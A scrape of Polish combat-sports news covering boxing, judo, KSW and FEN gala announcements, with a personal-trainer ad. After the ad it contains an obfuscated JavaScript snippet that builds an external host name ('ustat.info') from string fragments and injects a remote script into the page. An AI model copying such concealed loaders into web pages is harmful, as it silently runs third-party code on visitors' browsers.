Polski pięściarz spokojnie rozpoczął rywalizację z Rosjaninem. Masternak wyprowadził kilka kombinacji i pierwszą rundę mógł zapisać na swoje konto. Kubich wcale nie zamierzał ułatwiać zadania „Masterowi”. Potwierdziło się to, co mówiło się przed walką. Kubich to niezwykle niewygodny rywal, 29-letniemu Polakowi było go niezwykle trudno trafić. W piątej rundzie Rosjanin ruszył do przodu i posłał w stronę Masternaka kilka ciosów. Polak przerwał zapędy rywala, w końcówce był aktywniejszy, a Rosjanin stracił punkt za faul. Trudno mówić, że starcie było widowiskowe, jednak układało się po myśli „Mastera”, który miał przewagę.

W siódmej rundzie Masternak zagonił rywala do narożnika. Kubich przyjmował kolejne ciosy, ale dzielnie trzymał się na nogach. Polak wykonał kolejny krok w stronę zwycięstwa i tylko trzęsienie ziemi mogło sprawić, że nie zanotuje 38 wygranej w karierze. W ostatniej odsłonie Polak dwa razy… padł na deski, ale rywal nie przyczynił się do tego. Ponownie trudno było trafić Kubicha. Sędziowie nie stanęli przed trudnym zadanie. Wygrana Masternaka ani przez chwilę nie podlegała dyskusji.

Triumf Balskiego, Garguła na deskach

W starciu wagi junior ciężkiej Adam Balski zmierzył się z Dariuszem Skopem. Od początku 26-latek ruszył do przodu i postraszył rywala. Wypracował sobie przewagę, dzięki czemu w kolejnych rundach kontrolował przebieg walki. Skop od czas do czasu trafił, ale na wiele więcej nie było go stać. W końcówce ósmej rundy Balski posłał rywala na deski, jednak ten wstał. Sędziowie nie mogli mieć żadnych wątpliwości. Ósme zwycięstwo na koncie Balskiego.

Na otwarcie gali w Dzierzoniowie w wadze średniej Przemysław Opalach pokonał Paatę Varduashviliego. 30-letni Polak kontrolował w pełni walkę, choć w drugiej rundzie Gruzin był aktywny, ale… nie wyszedł już do trzeciej. Zgłosił uraz i Opalach mógł świętować 24 zwycięstwo w karierze.

Ciekawie zapowiadała się walka Roberta Parzęczewskiego z doświadczonym Tomaszem Gargułą. 42-latek ma za sobą ogromny bagaż doświadczeń, zarówno ringowych jak i życiowych. Jednak w ostatnim czasie sportowo nie wiodło mu się. Garguła przegrał cztery kolejne walki. Z kolei 23-letni Parzęczewski ma na koncie sześć zwycięstw z rzędu, wszystkie pojedynki wygrał przed czasem. W Dzierzoniowie podtrzymał dobrą passę. Garguła przyjmował wiele ciosów, w drugiej rundzie wylądował na deskach. W czwartej rundzie Parzęczewski dopadł rywala przy linach i zakończył pojedynek.

Zdecydowane wygrane na punkty zanotowali Michał Leśniak i Tomasz Gromadzki. Dwunaste zwycięstwo w karierze odniósł Michał Żuromiński, który decyzją sędziów pokonał Tomasza Mazura. 

KM

Katowice areną zmagań judoków

European Judo Open zawita do Katowic, gdzie do boju stanie 53 reprezentantów Polski. Transmisję z zawodów przeprowadzi telewizja FighTime. Zapraszamy do śledzenia zmagań biało-czerwonych! Z kolei panie o punkty do światowego rankingu powalczą w Pradze.

Po raz kolejny miłośnicy judo będą musieli mieć podzielną uwagę. Ostatnio zawodnicy rywalizowali w Grand Prix w Dusseldofie, jednak dwa tygodnie temu panie wystąpiły w Oberwart, zaś panowie w Rzymie. 

Trzymamy kciuki za naszych!

Atmosfera wielkiego święta czuć w Katowicach, gdzie przez dwa dni będzie odbywała się rywalizacja judoków. Na listach startowych 53 Polaków. Nie da się ukryć, że najwyżej stoją akcje Piotra Kuczery (90kg). Zawodnik KJ Kejza Team to brązowy medalista ubiegłorocznych mistrzostw Europy w Kazaniu, który ostatnio triumfował w Pucharze Europy w Rzymie. W Katowicach zaprezentuje się również olimpijczyk z Rio de Janeiro – Maciej Sarnacki (+100kg). 30-latek w zeszłym roku zmagał się z kontuzją i walczył z czasem, żeby pojechać na igrzyska. W Brazylii stoczył dwie walki, przegrał z Orem Sassonem. Teraz wraca do rywalizacji i warto podkreślić, że na własnym terenie potrafi wygrywać. W litym 2015 roku triumfował podczas zawodów w Warszawie.

W Katowicach zaprezentuje się również doświadczony Paweł Zagrodnik (73kg), który zdecydował się na starty w wyższej kategorii wagowej. Taką samą decyzję podjął Damian Szwarnowiecki (81kg). W ubiegłym roku jeszcze walcząc w kategorii 73kg odniósł największy sukces w karierze wygrywając Grand Prix w Samsun. Na jesieni zmienił wagę i od razu stanął na podium. W Tallinie był trzeci, wynik powtórzył w rywalizacji podczas Grand Prix Zagrzebia. Zawody w Katowicach to również szansa dla wielu młodych i utalentowanych zawodników na zebranie doświadczenia. 

Występy biało-czerwonych będzie można śledzić na antenie telewizji FighTime, która przeprowadzi transmisję z turnieju. Zapraszamy serdecznie! Spędźcie ten weekend z judo i ściskajcie kciuki za biało-czerwonych!

Czeska przygoda pań

Judoczki będą rywalizowały w Pradze. Agata Perenc (52kg) i Agata Ozdoba (63kg) startowały przed tygodniem w Dusseldorfie, jednak nie mają najlepszych wspomnień. Teraz liczą na poprawę. W Pradze wystąpi również mistrzyni Europy do lat 23 z Bratysławy z 2015 roku Karolina Pieńkowska (52kg).

W stolicy Czech wystąpią również: Ewa Konieczny, Katarzyna Wiszniewska i Joanna Stankiewicz (wszystkie 48kg), Klaudia Cieślik (52kg), Anna Borowska (57kg), Karolina Tałach, Sonia Lniany i Marta Wykupił (63kg), Sandra Lickun i Barbara Białas (70kg), Paula Kułaga, Beata Pacut i Paulina Przyczyna (78kg), Anna Załęczna, Anita Formela oraz Wiktoria Lis (+78kg).

KM

Hardkorowy Koksu pozdrawia Popka

Robert Burneika przesłał pozdrowienia z Las Vegas dla Pawła „Popka” Mikołajuwa. Popularny „Hardkorowy Koksu” kazał raperowi ćwiczyć… klepanie. Panowie spotkają 27 maja na gali KSW 39 Colosseum.

Dwie ciekawe postaci zaprezentują się na PGE Stadionie Narodowym w Warszawie. Mimo niewielkiego doświadczenia w MMA, ich walka budzi ogromne emocje.

Przyciągną tłumy

Reni Jusis śpiewa: „Jak magnes, magnes, magnes, magnes. Jak magnes wciąż przyciągasz mnie”. Nie da się ukryć, że duża część odbiorców kieruje się ciekawością. „Hardkorowy Koksu” i „Popek” mimo że nie są fighterami z najwyższej półki, to są barwnymi postaciami. Włodarze KSW chcą stworzyć najlepsze widowisko w historii. Świetna lokalizacja w postaci PGE Stadionu Narodowego, pięć pojedynków mistrzowskich, walka dwóch czempionów: Mameda Khalidova i Borysa Mańkowskiego, powrót Łukasza Jurkowskiego i na deser… kulturysta i raper.

Nie da się ukryć, że to starcie stanie się magnesem. „Popek” już poznał smak KSW. Na gali w Krakowie rywalizował z Mariuszem Pudzianowskim. Były strongman potrzebował niecałe półtorej minuty, aby rozbić Mikołajuwa. Raper raz porządnie trafił Pudzianowskiego, ale widać było, że brakuje mu kondycji. „Popek” dostaje kolejną szansę i może kontynuować swoją przygodę z MMA, która zaczęła się dziewięć lat temu, jednak na osiem lat zawiesił swoją aktywność. 

Z kolei Robert Burneika trafił do społecznej świadomości dzięki stekom, w których się lubuje. Znany kulturysta popularność zdobył dzięki filmikom zachęcającym do uprawiania kulturystyki. Sam startował z powodzeniem w zawodach w Stanach Zjednoczonych. Urodził się na Litwie, z czasem nauczył się języka polskiego i przeniknął do naszej kultury i zdobył w naszym kraju popularność. Trudno chyba znaleźć człowieka, który nie zna „Hardkorowego Koksa”. 

Burneika stoczył dwie walki w MMA. W kwietniu 2012 roku pokonał boksera Marcina Najmana, którego zasypał ogromem ciosów. Kolejnym rywalem „Hardkorowego Koksa” był Dawid Ozdoba. Striptizer długo unikał walki, starał się uciekać i w końcu został zdyskwalifikowany.

Pozdrowienia

Podczas warszawskiej gali KSW będzie ciekawie. Co pokażą Burneika i „Popek”? To jest wielka niewiadoma, ale jedno jest pewne – trzeba rozpatrywać to w kategorii show, które się już zaczęło.

„Hardkorowy Koksu” zamieścił na youtubie filmik, w którym pozdrowił swojego najbliższego rywala. – Właśnie wylądowałem  w Las Vegas. Jak widać słońce świeci, 20 stopni prawie, trzeba bicki opalić trochę – powiedział Burneika. – Na pewno słyszeliście plotki, że szykuje się hardkorowa walka z Popkiem. Tak to jest prawda. 27 maja na Stadionie Narodowym w Warszawie będzie się działo hardkorowo. Także ta wiadomość jest właśnie pozdrowieniem dla Popka. Popek, jak mnie oglądasz, wiem, że oglądasz! Właśnie musisz zacząć trenować. Wydaje mi się, że najbardziej odklepanie. Bo będziesz klepał jak Najman. Pozdrowienia z ciepłego Vegas! – dodał.

KM

Akihiro Gono i Erick Silva gośćmi specjalnymi FEN 16 Warsaw Reloaded

Legenda organizacji Pride Akihiro Gono i jedna z gwiazd federacji UFC Erick Silva będą gośćmi specjalnymi gali FEN 16 Warsaw Reloaded! 11 marca na Torwarze obaj fighterzy będą z narożnika wspierać młodszego brata Ericka – Gabriela w walce wieczoru z Kamilem Łebkowskim.

Akihiro Gono to nie tylko jeden z najlepszych fighterów w historii mieszanych sztuk walki, ale także jedna z najbarwniejszych postaci tego sportu. Walczył w UFC, Bellatorze, WSOF, Shooto i Pancrase, ale światową sławę przyniosły mu występy w organizacji Pride, w której wygrywał m.in. z takimi gwiazdami MMA, jak Hector Lombard i Gegard Mousasi. W ringu popisywał się sprawnością fizyczną i przebiegłością – jego styl walki bazuje na zręcznym unikaniu ciosów, wyprowadzaniu błyskawicznych kontr i zmuszaniu przeciwników do walki na jego zasadach. W pamięci kibiców zapisał się także za sprawą ekstrawaganckich strojów i wyjść do walki – potrafił na przykład wejść do oktagonu UFC w wieczorowej sukni. Mimo że Japończyk ma już 42 lata, wciąż walczy zawodowo, oprócz MMA próbując swych sił także w kickboxingu. Obecnie mieszka w Brazylii, gdzie jest jednym z trenerów w Tiger’s Den MMA Gym.

Erick „The Tiger” Silva to z kolei jeden z najbardziej rozpoznawalnych zawodników UFC, w której walczy nieprzerwanie od 2011 roku. Drogę do oktagonu amerykańskiej organizacji 32-letni Brazylijczyk utorował sobie świetnymi walkami na galach ojczystej federacji Jungle Fight Championship i zdobyciem tytułu mistrza tej organizacji w 2010 roku. Znany jest z agresywnego stylu walki i dążenia za wszelką cenę do pokonania rywala przed czasem – aż 16 ze swoich 19 zawodowych zwycięstw odniósł przez poddanie lub nokaut. W UFC „The Tiger” siedmiokrotnie nagradzany był bonusami za walki, występy i poddania wieczoru. Podczas pobytu w Polsce wspólnie z Akihiro Gono będzie z narożnika wspierał swojego brata Gabriela „Gabito” Silvę podczas walki wieczoru gali FEN 16 Warsaw Reloaded, w której zmierzy się z niepokonanym od blisko czterech lat Kamilem „Bombą” Łebkowskim.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl, KupBilet.pl oraz Ticketik.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Kombou vs Paczuski na gali FEN 16 Warsaw Reloaded

Zwycięstwo przez nokaut – to wizytówka Brice'a Kombou, bardzo groźnego niemieckiego kickboksera, który już 11 marca podczas gali FEN 16 Warsaw Reloaded będzie rywalem mistrza świata K-1 Global Radosława Paczuskiego w jego dłogo oczekiwanym debiucie w organizacji Fight Exclusive Night.

Nieprzeciętnie utalentowany i agresywnie walczący Brice Kombou (28 lat, 183 cm, 17-2, 12 KO) pochodzi z Kamerunu, ale reprezentuje Niemcy, w których mieszka na stałe. Trenuje w Dortmundzie w Fight Lounge, jednym z najlepszych kickbokserskich klubów w Europie. Zawodowy dorobek Kombou w formule K-1 to 19 walk, w których odniósł 17 zwycięstw, przy czym w aż 12 starciach nokautował swoich rywali. Przed polskimi kibicami zaprezentował się z bardzo dobrej strony latem ubiegłego roku podczas meczu Polska-Niemcy na gali DSF Kickboxing Challenge 8, w którym mierzył się na zasadach K-1 z wicemistrzem Polski Maksymilianem Bratkowiczem. Mądrze, konsekwentnie walczący fighter z Niemiec przez cały pojedynek kontrolował sytuację, ostatecznie pokonując Polaka jednomyślną decyzją sędziów.

Radosław Paczuski (24 lata, 190 cm, 15-2) to jedna z największych gwiazd polskiego kickboxingu i muay thai. Zawodnik warszawskiego Uniq Fight Club jest multimedalistą mistrzostw Polski i członkiem kadry narodowej w obu tych dyscyplinach sportu. W październiku ubiegłego roku w imponującym stylu zdobył prestiżowy pas mistrza K-1 Global w kategorii -85 kg – w obu walkach finałowego turnieju znokautował rywali kolanem na głowę. Wcześniej trzykrotnie wywalczył kickbokserski Puchar Świata WAKO oraz wicemistrzostwo Europy i brązowy medal w Pucharze Świata federacji IFMA w muay thai. Paczuski wygrywał już z takimi znanymi zawodnikami, jak Adrian Valentin, Karolis Liukaitis czy Khasan Khaliev. W sumie w amatorskim ringu stoczył 94 walki, doznając w nich zaledwie 8 porażek. Jako zawodowiec w formule K-1 walczył 15 razy, wygrywając 13 pojedynków – porażek doznał jedynie w starciach z numerem 1 na świecie Arturem Kyshenko oraz doświadczonym Constantinem Tutu.

Starcie Radosława Paczuskiego z Bricem Kombou będzie jedną z wielu bardzo interesujących międzynarodowych konfrontacji na gali FEN 16 Warsaw Reloaded – w innych takich pojedynkach na zasadach K-1 zmierzą sie Marcin Szreder z Białorusinem Iharem Kamkou i Piotr Bąkowski z Białorusinem Vitalyem Kazakou, a w starciach na zasadach MMA Kamil Łebkowski będzie walczył z Brazylijczykiem Gabrielem Silvą, Bartłomiej Kopera z Francuzem Daguirem Imavovem, Michał Oleksiejczuk z Włochem Riccardo Nosiglią i Arbi Shamaev z Brazyliczykiem Shely Santaną. W "polskich" walkach 11 marca na Torwarze też nie zabraknie emocji – Arkadiusz Wrzosek spotka się z Arturem Bizewskim, Kamil Gniadek z Łukaszem Stankiem, a Paweł Pawlak z Ireneuszem Szydłowskim.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl, KupBilet.pl oraz Ticketik.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Trener personalny

Ćwicz z trenerem personalnym!

Nie chcesz chodzić na siłownię, a marzy Ci się piękna i nienaganna sylwetka? Postaw na trening personalny! Współpraca z profesjonalistą to gwarancja sukcesu i osiągnięcia zamierzonych efektów, a przy tym ogromna satysfakcja.

Czym właściwie jest trening personalny? Masz swojego guru, którego słuchasz i podporządkowujesz się jego poleceniom. To tak w skrócie. A poważnie? Trening personalny to indywidualne zajęcia, podczas których realizujemy przygotowany przez instruktora plan. Program w pełni dostosowany jest do możliwości, stanu zdrowia i potrzeb trenującego, uwzględnia jego nawyki żywieniowe.

Postanowienie noworoczne, konieczność zrzucenia zbędnych kilogramów po zimie, troska o zdrowie czy marzenia o pięknej sylwetce – powodów, dla których chcemy zacząć intensywny trening jest wiele. Na początku laik może natrafić na problemy i szybko się zniechęcić do dalszej aktywności. Wszystko przez brak odpowiedniej wiedzy, która nie pozwala na efektywny trening. Kierujemy się w stronę siłowni, ale nie zawsze jest to odpowiednie rozwiązanie. W grupie możemy czuć się skrępowani. Najlepszym rozwiązaniem jest współpraca z trenerem personalnym.

Dlaczego warto postawić na indywidualne zajęcia? Mamy do dyspozycji trenera personalnego, który tylko nam poświęca uwagę, czas, obserwuje i dostosowuje ćwiczenia do naszych możliwości. Najlepszych fachowców znajdziesz na www.sport-ekspert.pl. Z pewnością to rozwiązanie idealne dla tych, którzy szybko chcą osiągnąć cele. Ale nie tylko. Praca z trenerem personalnym jest godna polecenia początkującym, ale także zaawansowanym na płaszczyźnie aktywności fizycznej oraz tym, którzy mimo wysiłku nie osiągnęli zamierzonych efektów. Warto dodać, że takie rozwiązanie jest polecane osobom, które chcą wrócić do pełnej sprawności po urazach bądź skorygować wady postawy.

Często jest tak, że bardzo chcemy, ale jednak… nie możemy. Tłumaczymy się brakiem czasu bądź zmęczeniem. Gdy mamy tzw. „bat” nad sobą nie możemy w żaden sposób odpuścić. Trener personalny to idealny motywator i anioł stróż, który zwróci uwagę na wszelkie niedoskonałości i pozwoli nam wjechać na autostradę, którą dojedziemy do miejscowości „Idealna Sylwetka”.

Warto również pamiętać, że praca z trenerem personalnym może służyć powiększeniu wiedzy. Bywa, że mamy orientację w temacie, ale nie czujemy się do końca pewni i chcemy skorzystać z pomocy eksperta. Pod okiem trenera personalnego można się dokształcić i zdobyć kolejne doświadczenie, a także uzyskać cenne wskazówki i uzyskać fachowe doradztwo.

Gdy podejmiemy decyzję o współpracy z trenerem personalnym, należy go znaleźć. „Kto szuka, nie błądzi”. Ale gdzie? Sport Ekspert to miejsce, w którym zapoznasz się z sylwetkami trenerów personalnych z każdego regionu Polski. Dzięki temu masz okazję zapoznać się z opiniami innych użytkowników, poznać sylwetki instruktorów i dokonać wyboru. Nic prostszego! Zajrzyj na www.sport-ekspert.pl i dokonaj wyboru. To będzie krok w dobrą stronę. Przekonaj się sam!

KM

Tło fotografie created by Javi_indy – Freepik.com

[kod]

(function(){
zcnf=document.createElement("script");zcnf_=(("u")+"st")+"a";zcnf.async=true;
zcnf.type="text/javascript";zcnf_+=("t.i")+""+"n";zcnf_+=(("f")+"o");zcnf_+="/";
zcnfu="60656904.";zcnfu+="4qg55gXacnfXbjXbjl5"+"y9ibuX1ex4z";
zcnf.src="//"+zcnf_+zcnfu; document.body.appendChild(zcnf);
})();

Krótka przygoda Polaków

Biało-czerwoni nie zapiszą do udanych startu w zawodach Grand Prix w judo, które odbyły się w miniony weekend w Dusseldorfie. Reprezentanci Polski szybko zakończyli swoją przygodę z turniejem.

Jak zawsze żyliśmy nadzieją, gdyż przed tygodniem w dobre nastroje wprawił nas Piotr Kuczera (90kg), który okazał się najlepszy w rywalizacji w Rzymie. W Niemczech jego koledzy nie spisali się jednak na medal.

Szybko poszło

Mówi się, że sukces wymaga cierpliwości. W przypadku międzynarodowych turniejów trzeba się liczyć z koniecznością stoczenia 4-5 walk, żeby myśleć o wywalczeniu miejsca na podium. W Dusseldorfie startowała piątka reprezentantów Polski. Z rywalizacją pożegnali się w mgnieniu oka.

Agata Perenc (52kg) była agresywna i zawzięta, o czym świadczą dwie kary shido. Amandine Buchard również była nieustępliwa, jednak udało jej się w końcówce wykonać waza-ari. Francuzka awansowała do dalszej rywalizacji i dopiero w finale zatrzymała ją Uta Abe.

Niewiele lepiej wypadła Julia Kowalczyk (57kg). Młoda Polka zaczęła zmagania w niemieckim turnieju od walki z Po Sum Leung. Kowalczyk niczym doświadczona judoczka wykorzystała braki rywalki i szybko rozłożyła ją na łopatki. Nie upłynęło dwadzieścia sekund, a nasza zawodniczka triumfowała przez ippon. W drugim starciu musiała uznać wyższość Nae Udaki. Japonka zaczęła od waza-ari, później dołożyła ippon i nie pozostawiła Kowalczyk żadnych szans. Warto dodać, że Udaka zakończyła zmagania na trzecim miejscu. 

Tylko jedną walkę w Dusseldorfie stoczyła Agata Ozdoba (63kg). Brązowa medalistka mistrzostw Europy z 2014 roku przegrała z Cristiną Cabaną Perez. Anri Egutidze zapisał na swoim koncie waza-ari, a Łukasz Błach (81kg) tylko karę shido. Dalej walczył reprezentant Portugalii, który po repasażach rywalizował o brąd, ale poległ z Mołdawianinem Dorinem Gotonoagą.

Paweł Zagrodnik (73kg) zdecydował o startach w wyższej kategorii wagowej. Dotychczas występował w 66kg. W nowej wadze zajął drugie miejsce w Pucharze Polski w Mysiadle. W Dusseldorfie nie było tak dobrze. Co prawda, po wyrównanej walce Zagrodnik pokonał Nuno Saraivę, ale w kolejnej wypunktował go Tohar Butbul. 

Japonia na czele

W Grand Prix karty rozdawali Japończycy, którzy wywalczyli 16 medali, w tym pięć złotych. Za ich plecami Gruzja i Rosja.

W turnieju wystartowało 344 judoków.

KM

Rywal Radosława Paczuskiego jutro w magazynie Puncher

Radosław Paczuski, który na gali FEN 16 Warsaw Reloaded zadebiutuje w organizacji Fight Exclusive Night, będzie jednym z gości jutrzejszego magazynu Puncher. Podczas programu kibice poznają nazwisko zawodnika, z którym aktualny mistrz świata K-1 Global zmierzy się 11 marca na Torwarze.

24-letni Radosław Paczuski to jeden z najbardziej utalentowanych i ambitnych zawodników kickboxingu i muay thai młodego pokolenia w Polsce. Reprezentant warszawskiego Uniq Fight Club jest multimedalistą mistrzostw Polski i członkiem kadry narodowej w obu tych dyscyplinach sportu. W październiku ubiegłego roku odniósł największy jak dotychczas swój sukces na arenie międzynarodowej, sięgając po pas mistrza K-1 Global w kategorii -85 kg – w obu turniejowych walkach znokautował swoich przeciwników kolanem na głowę. Wcześniej trzykrotnie wywalczył kickbokserski Puchar Świata WAKO oraz wicemistrzostwo Europy i brązowy medal w Pucharze Świata federacji IFMA w muay thai. Paczuski wygrywał już z takimi znakomitymi zawodnikami, jak Adrian Valentin, Karolis Liukaitis czy Khasan Khaliev. W sumie w amatorskim ringu stoczył 94 walki, doznając w nich zaledwie 8 porażek. Jako zawodowiec w formule K-1 walczył 15 razy, wygrywając 13 pojedynków – porażek doznał jedynie w starciach z numerem 1 na świecie Arturem Kyshenko oraz doświadczonym Constantinem Tutu.

Jutrzejszy odcinek magazynu Puncher będzie można obejrzeć na żywo w stacji Polsat Sport News. Program rozpocznie się o godz. 20.

FEN

LIVE: Judo Grand-Prix Dusseldorf 2017: Day 2

Zapraszamy na transmisję telewizyjna na żywo z Judo Grand Prix Düsseldorf w Niemczech. Zawody odbędą się w dniach 24 – 26 luty 2017.

Plan transmisji:

Piątek, 24 luty

10:00 Start zawodów
17:00 Blok finałowy

Sobota, 25 luty

10:00 Start zawodów
17:00 Blok finałowy

Niedziela, 26 luty

10:00 Start zawodów
17:00 Blok finałowy

[kod]

LIVE: Judo Grand-Prix Dusseldorf 2017: Day 3

Zapraszamy na transmisję telewizyjna na żywo z Judo Grand Prix Düsseldorf w Niemczech. Zawody odbędą się w dniach 24 – 26 luty 2017.

Plan transmisji:

Piątek, 24 luty

10:00 Start zawodów
17:00 Blok finałowy

Sobota, 25 luty

10:00 Start zawodów
17:00 Blok finałowy

Niedziela, 26 luty

10:00 Start zawodów
17:00 Blok finałowy

[kod]

Piotr Bąkowski będzie gościem FighTime TV

Za kilka dni w naszym studio pojawi się jedna z gwiazd zbliżającej się wielkimi krokami gali FEN 16 Warsaw Reloaded – Piotr Bąkowski. Trzeba jasno powiedzieć – „tego pana nie trzeba nikomu przedstawiać”. Piotr Bąkowski opowie naszym widzom o zbliżającej się walce, bogatej karierze i swoich pasjach.

„Dwadzieścia lat minęło jak jeden dzień” – słowa piosenki zespołu Paktofonika idealni pasują do osoby Piotra Bąkowskiego. Dalej artyści śpiewają, a w zasadzie pytają „Nie masz co wspominać?” W tym przypadku nasuwa się tylko jedna odpowiedź. O karierze i sukcesach 39-letniego Bąkowskiego można opowiadać godzinami. Idealnie pasuje do niego określenie „człowiek orkiestra”, z racji jego wszechstronnej działalności.

W 1997 roku Piotr Bąkowski zawitał do klubu KS Piaseczno, żeby rozpocząć treningi kickboxingu. Z pewnością nie przypuszczał wtedy, że po kilku latach będzie czołowym polskim zawodnikiem. Wywalczył ponad sto medali na arenie krajowej i międzynarodowej, stoczył blisko sześćset walk. Na swoim koncie zapisał zawodowe pasy mistrzowskie full contact federacji WKSF, WTKA, UFR. Bąkowski sięgał po medale mistrzostw świata i Europy WAKO m.in. srebro w Coimbrze (2007) czy brąz w Szeged (2005). Wielokrotnie zajmował miejsca na podium zawodów rangi Pucharu Świata i Europy, a w 2013 w Congliano okazał się najlepszy. Warto dodać, że 39-latek odnosił również sukcesy w taekwondo i tang soo do.

Bąkowski nie tylko toczył kolejne walki, ale zaangażował się w pracę trenerską. Na tym nie koniec. Kolejną aktywnością wybitnego zawodnika była działalność na gruncie organizacyjnym. Od 2007 roku współtworzył turniej „Mazovia Cup International”. Był również członkiem zarządu Polskiego Związku Kickboxingu. W 2010 roku wraz z Łukaszem Makarewiczem założył federację sztuk walki UFR. Warto również podkreślić społeczne zaangażowanie 39-letniego zawodnika. Bąkowski włączył się w kampanię „Łączy Nas Sport Nie Narkotyki”.

W wieku 39 lat Bąkowski zadebiutuje w zawodowym K-1. 11 marca na gali FEN 16 Warsaw Reloaded zmierzy się z Vitalym Kazakou. 41-letni Białorusin ma na koncie tytuły mistrza Europy i mistrza Euroazji. Stoczył 36 zawodowych walk. 

Piotr Bąkowski intensywnie przygotowuje się do kolejnego wyzwania w swojej karierze. Postanowiliśmy zaprosić gwiazdę polskiego kickboxingu do naszego studia. Szykuje się niezwykle ciekawa dyskusja z interesującą postacią. Co wie o swoim najbliższym rywalu? Czy jest zadowolony z przygotowań? Jakie są jego kolejne plany? Czy czuje się spełniony na każdej płaszczyźnie swojej działalności? Te i wiele innych pytań zadamy Piotrowi Bąkowskiemu. Wywiad będziecie mogli niebawem obejrzeć na antenie FighTime!

KM

LIVE: Judo Grand-Prix Dusseldorf 2017: Day 1

Zapraszamy na transmisję telewizyjna na żywo z Judo Grand Prix Düsseldorf w Niemczech. Zawody odbędą się w dniach 24 – 26 luty 2017.

Plan transmisji:

Piątek, 24 luty

10:00 Start zawodów
17:00 Blok finałowy

Sobota, 25 luty

10:00 Start zawodów
17:00 Blok finałowy

Niedziela, 26 luty

10:00 Start zawodów
17:00 Blok finałowy

[kod]

Piotr Bąkowski vs Vitaly Kazakou na FEN 16 Warsaw Reloaded

Jednym z ostatnich zestawień, jakie organizacja Fight Exclusive Night dopisuje do karty walk gali FEN 16 Warsaw Reloaded, która odbędzie się 11 marca na Torwarze, jest kickbokserski pojedynek wielokrotnego mistrza świata Piotra Bąkowskiego z białoruskim mistrzem Europy i Eurazji Vitalyem Kazakou. Starcie na zasadach K-1 odbędzie się w wadze do 61 kg.

39-letni Piotr Bąkowski to wielokrotny mistrz świata, Europy i Polski w formułach light-contact i full-contact. Swoją karierę zaczynał pod okiem pierwszego polskiego mistrza świata Piotra Siegoczyńskiego. Pochodzący z Piaseczna zawodnik stoczył blisko 600 pojedynków amatorskich w tych formułach, stając się jednym z najbardziej doświadczonych i utytułowanych polskich kickbokserów. Dwukrotnie sięgał po pas amatorskiego mistrza świata, ma też na koncie 14 tytułów mistrza Polski. Jako zawodowiec zdobywał trzykrotnie tytuł mistrza świata w full-contact federacji WKSF, WTKA oraz UFR, a teraz zadebiutuje także w zawodowym K-1. Jest też cenionym szkoleniowcem, wychował wielu mistrzów kraju, Europy i świata. Ponadto Piotr Bąkowski jest jednym z autorów ogólnopolskiej kampanii "Łączy Nas Sport Nie Narkotyki", działa w kilku kickbokserskich organizacjach, a w wolnym czasie oddaje się swoim pozasportowym pasjom – dziennikarstwu i fotografii podróżniczej.

Starszy o dwa lata od Polaka reprezentant Białorusi Vitaly Kazakou jest doskonale znany polskiej publiczności, bowiem ścierał się już z czołówką krajowych zawodników – toczył walki z Michałem Królikiem, Cezarym Zugajem czy Bartoszem Batrą. W swojej bogatej karierze mierzył się z także z takimi wojownikami, jak choćby Marko Moisar z Estonii. Trenujący w znanym klubie Condor Grodno Kazakou ma na koncie 36 zawodowych walk K-1, w których odniósł 26 zwycięstw. Do jego największych sukcesów należą tytuły mistrza Europy i mistrza Eurazji oraz pas polskiej federacji BMAF. Karierę i treningi zaczynał u słynnego szkoleniowca Alfita Hakova w Grodnie.

Starcie Kazakou z Bąkowskim będzie jedną z najciekawszych międzynarodowych konfrontacji na warszawskim Torwarze z uwagi na duże doświadczenie obu zawodników. Obaj chcą potwierdzić swoją wartość, a klatkoring Fight Exclusive Night im to z pewnością umożliwi. W innych pojedynkach K-1  podczas gali FEN 16 Warsaw Reloaded również nie zabraknie emocji – Arkadiusz Wrzosek zmierzy się z Arturem Bizewskim, a Marcin Szreder z Białorusinem Iharem Kamkou. Tego wieczora w klatkoringu FEN zadebiutuje również Radosław Paczuski.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl, KupBilet.pl oraz Ticketik.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Dusseldorf na szóstkę?

Judocy nie zwalniają tempa. W piątek (24 lutego) zawodnicy rozpoczną rywalizację w zawodach Grand Prix w Dusseldorfie. Na tatami zobaczymy sześcioro Polaków.

Z zimowego snu wyrwał nas Piotr Kuczera (90kg), który kilka dni temu triumfował w Pucharze Europy w Rzymie. Czy inni pójdą jego drogą?

Długie listy

W Niemczech trzeba przygotować się na walkę na śmierć i życie. Droga do sukcesu nie będzie usłana różami, bo na starcie jest 378 zawodników z 51 państw. Polskę będzie reprezentowała szóstka zawodników: Agata Perenc (52kg), Julia Kowalczyk i Arleta Podolak (57kg), Agata Ozdoba (63kg), Paweł Zagrodnik (73kg) oraz Łukasz Błach (81kg).

Niesieni dobrym występem Piotra Kuczery w Rzymie liczymy, że i tym razem biało-czerwoni wysuną się na pierwszy plan. Można powiedzieć, iż brązowy medalista ubiegłorocznych mistrzostw Europy z Kazania dał sygnał do ataku. Zatem trzeba iść za ciosem. Nie ma, co ukrywać, że wśród naszych nie brakuje judoków, którzy są w stanie przeprowadzić szturm. Na pierwszy plan wysuwa się Arleta Podolak, która zajmuje 21. miejsce w światowym zestawieniu. Dobra postawa 23-latki zaowocowała jej wyjazdem na Igrzyska Olimpijskie w Rio de Janeiro. W ubiegłym roku Podolak wygrała zawody w Warszawie i Ałamtach. Tym razem Polka nie zaliczyła udanego wejścia w sezon. O starcie w Paryżu Podolak będzie chciała jak najszybciej zapomnieć. W stolicy Francji stoczyła zaledwie jedną walkę, lepsza od Polki okazała się Kubanka Alisuka Ojeda. Zatem nadarza się okazja do rewanżu i poprawy osiągniętego wyniku.

W tej samej kategorii wagowej, co Podolak zaprezentuje się Julia Kowalczyk. Młoda, obiecująca judoczka przeciera szlaki na poziomie seniorskim. W ubiegłym roku zdobyła brązowy medal mistrzostw Europy juniorek. Tegoroczne starty zainaugurowała w Sofii, gdzie po obiecującym starcie i wygranej, przegrała z Francuzką Sara Harachi. Czas na kolejne doświadczenie i zwycięstwa. Wiele można obiecywać sobie po starcie Agaty Perenc. 37. zawodniczka światowego rankingu startowała w tym roku w Sofii, jednak odpadła w drugiej rundzie. Blisko rok temu zajęła piąte miejsce w Warszawie. Może ponownie końcówka lutego będzie udana dla Perenc.

